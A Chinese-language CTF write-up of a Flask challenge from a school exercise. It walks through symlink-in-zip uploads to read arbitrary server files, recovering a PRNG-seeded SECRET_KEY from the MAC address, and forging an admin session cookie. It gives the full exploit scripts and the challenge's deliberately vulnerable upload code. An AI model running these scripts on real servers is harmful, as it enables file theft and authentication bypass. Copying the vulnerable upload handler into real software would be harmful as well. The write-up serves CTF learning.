一道flask的wp

本题为校内一个师兄出的题,在本地搭好了环境进行试验。

第一步

进入题目发现一个上传点和提示“I will tell you a secret, but you should become admin first.”,根据提示可以猜想到得先想办法以admin身份登录,查看cookie可以看到session,值为疑似base64的一串字符串,decode之后为类似{“username”:“2333”}的信息,应该使用的是securecookie机制,如果能够得到签名的key和签名方法等相关信息就能想办法伪造session,接下来的思路是一样的,就是想办法先拿到源码。

awp_falsk1.jpg

第二步

测试上传点,发现只能上传zip文件,并返回zip解压后的文件内容。尝试压缩软链接上传,发现会回显对应的文件内容,这样就实现了一个任意文件下载,通过这个可以开始想办法找到源码的路径,我们要用到上传zipfile读取到SECRET_KEY,然后伪造admin的session进行登录。

awp_falsk2.jpg

第三步

接下来主要目标是获取源码

脚本如下

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
#coding=utf-8
import os
import requests
import sys

url = 'http://xxxx/upload'
def makezip():
    os.system('ln -s '+sys.argv[1]+' exp')
    os.system('zip --symlinks exp.zip exp')
makezip()

files = {'the_file':open('./exp.zip','rb')}
def exploit():
    res = requests.post(url,files=files)
    print(res.text)

exploit()
os.system('rm -rf exp')
os.system('rm -rf exp.zip')

如果对linux比较了解应该会知道 /proc目录 ,然后通过 /proc/self/environ的软链接 来获得flask的环境变量,环境变量中可以找到配置文件路径和一些信息

awp_falsk3.jpg

整理一下

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
UWSGI_ORIGINAL_PROC_NAME=/usr/local/bin/uwsgi
SUPERVISOR_GROUP_NAME=uwsgi
HOSTNAME=5a000ec609dc
PYTHON_PIP_VERSION=20.1
HOME=/root
GPG_KEY=0D96DF4D4110E5C43FBFB17F2D347EA6AA65421D
UWSGI_INI=/app/y0u_found_it.ini
NGINX_MAX_UPLOAD=0
UWSGI_PROCESSES=16
STATIC_URL=/static
PYTHON_GET_PIP_URL=https://github.com/pypa/get-pip/raw/1fe530e9e3d800be94e04f6428460fc4fb94f5a9/get-pip.py
UWSGI_CHEAPER=2
PATH=/usr/local/bin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
LANG=C.UTF-8
SUPERVISOR_ENABLED=1
PYTHON_VERSION=3.6.10
NGINX_WORKER_PROCESSES=auto
SUPERVISOR_SERVER_URL=unix:///var/run/supervisor.sock
SUPERVISOR_PROCESS_NAME=uwsgi
LISTEN_PORT=80
STATIC_INDEX=0
PWD=/app/y0u_found_it
PYTHON_GET_PIP_SHA256=ce486cddac44e99496a702aa5c06c5028414ef48fdfd5242cd2fe559b13d4348
STATIC_PATH=/app/static
PYTHONPATH=/app
UWSGI_RELOADS=0

第四步

扫一眼过去,能够发现一项UWSGI_INI,以INI结尾,应该是个配置文件 ,而且从命名来看

”y0u_found_it.ini“已经在提示这个ini文件有问题,那么接下来 构造软链接,生成zip,上传读取。 得到/app/ y0u_found_it.ini内容

awp_falsk4.jpg

1
2
3
[uwsgi]
module = y0u_found_it.y0u_found_it_main
callable=app

这样就找到了源代码路径/app/y0u_found_it/y0u_found_it_main.py

接下来获取源码如下

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
from flask import Flask,session,render_template,redirect, url_for, escape, request,Response
import uuid
import base64
import random
import secret
from werkzeug.utils import secure_filename
import os
random.seed(uuid.getnode())
app = Flask(__name__)
app.config['SECRET_KEY'] = str(random.random()*100)
app.config['UPLOAD_FOLDER'] = './uploads'
app.config['MAX_CONTENT_LENGTH'] = 100 * 1024
ALLOWED_EXTENSIONS = set(['zip'])

def allowed_file(filename):
    return '.' in filename and \
           filename.rsplit('.', 1)[1].lower() in ALLOWED_EXTENSIONS

@app.route('/', methods=['GET'])
def index():
    error = request.args.get('error', '')
    

    if(error == '1'):
        session.pop('username', None)
        return render_template('index.html', forbidden=1)
    if not 'username' in session:
        session['username'] = "guest"
    
    if 'username' in session:
        return render_template('index.html', user=session['username'], secret=secret.secret)
    else:
        
        return render_template('index.html')

@app.route('/upload', methods=['POST'])
def upload_file():
    if 'the_file' not in request.files:
        return redirect(url_for('index'))
    file = request.files['the_file']
    if file.filename == '':
        return redirect(url_for('index'))
    if file and allowed_file(file.filename):
        filename = secure_filename(file.filename)
        file_save_path = os.path.join(app.config['UPLOAD_FOLDER'], filename)
        if(os.path.exists(file_save_path)):
            return 'This file already exists'
        file.save(file_save_path)
    else:
        return 'This file is not a zipfile'

    try:
        extract_path = file_save_path + '_'
        os.system('unzip -n ' + file_save_path + ' -d '+ extract_path)
        read_obj = os.popen('cat ' + extract_path + '/*')
        file = read_obj.read()
        read_obj.close()
        os.system('rm -rf ' + extract_path)
    except Exception as e:
        file = None
    
    os.remove(file_save_path)
    if(file != None):
        if(file.find(base64.b64decode('ZmxhZw==').decode('utf-8')) != -1):
            return redirect(url_for('index', error=1))
    return Response(file)

if __name__ == '__main__':
    #app.run(debug=True)
    app.run(host='127.0.0.1', debug=False, port=10008)

第五步

查看代码发现secret=secret.secret,可以知道flag应该是在secret.py文件里,如果软链接直接读取 ,发现还是提示you are not admin ,所以还是得按照前面的分析 通过找SECRET_KEY 来解决,因为 python random生成的数不是真正的随机数,而是伪随机数,利用伪随机数的特性,只要种子是一样的,后面产生的随机数值也是一致的。

查看代码可知通过uuid.getnode()函数 获取网卡mac地址并转换成十进制数返回 ,那么思路就变成了先获取服务器的网卡mac地址来确定种子,进而确定SECRET_KEY,从而伪造session

因为linux中一切都是文件,所以可以通过读/sys/class/net/eth0/address文件得到mac地址

然后 把mac地址处理下,转换成10进制,然后设置成seed,生成 SECRET_KEY,下面是脚本

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
import uuid
import random

mac = "mac"
sss = mac.split(':')
sss = [int(i,16) for i in sss]
sss = [bin(i).replace('0b','').zfill(8) for i in sss]
sss = ''.join(sss)
mac = int(sss,2)
random.seed(mac)
randStr = str(random.random()*100)
print(randStr)

这里另外一个师傅给出了另外一个简介版本,当时写的时候就觉得上面那个有点复杂了

1
2
3
4
5
6
7
8
import uuid
import random

mac = "mac"
sss = mac.split(':')
sss = ''.join(sss)
mac = eval("0x"+sss)
print(mac)

第六步

接下来就是通过key获取admin的session,这里是通过flask-session-cookie-manager脚本获取

awp_falsk5.jpg

session成功伪造,获得flag

awp_falsk6.jpg

exp脚本

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
import requests
import random
import re
import os
import base64
from flask import Flask
from flask.sessions import SecureCookieSessionInterface

def read_file(file_name):
  link(file_name)
  files = {'the_file': open(file_name[-5:] + '.zip', 'rb')}
  r2 = s.post(url+'upload', files=files)
  return r2.text

def link(file_name):
  os.system('ln -s {file_name} {output}'.format(file_name = file_name, output = file_name[-5:]))
  os.system('zip -y -m {output}.zip {output}'.format(file_name = file_name, output = file_name[-5:]))

url = 'http://xxxxxx/'

with requests.Session() as s:
  en = read_file('/proc/self/environ')
  ini = re.search('UWSGI_INI=(.*?)\x00', en).group(1)
  pwd = re.search('PWD=(.*?)\x00', en).group(1)
  ini = read_file(ini)
  source = re.search('module = .*?\.(.*?)\n', ini).group(1)
  source = pwd+'/'+source+'.py'
  source = read_file(source)
  if(source.find('import') == -1):
    exit('fail')
  mac = '/sys/class/net/eth0/address'
  mac = read_file(mac)
  mac = mac[:-1]
  mac = ''.join(mac.split(':'))
  mac = int(mac, 16)
  random.seed(mac)
  key = random.random()*100


app = Flask(__name__)
app.config['SECRET_KEY'] = str(key)
payload = {'username': 'admin'}
serializer = SecureCookieSessionInterface().get_signing_serializer(app)
session = serializer.dumps(payload)
cookies = {'session': session}
r = requests.get(url, cookies=cookies)
print(r.text)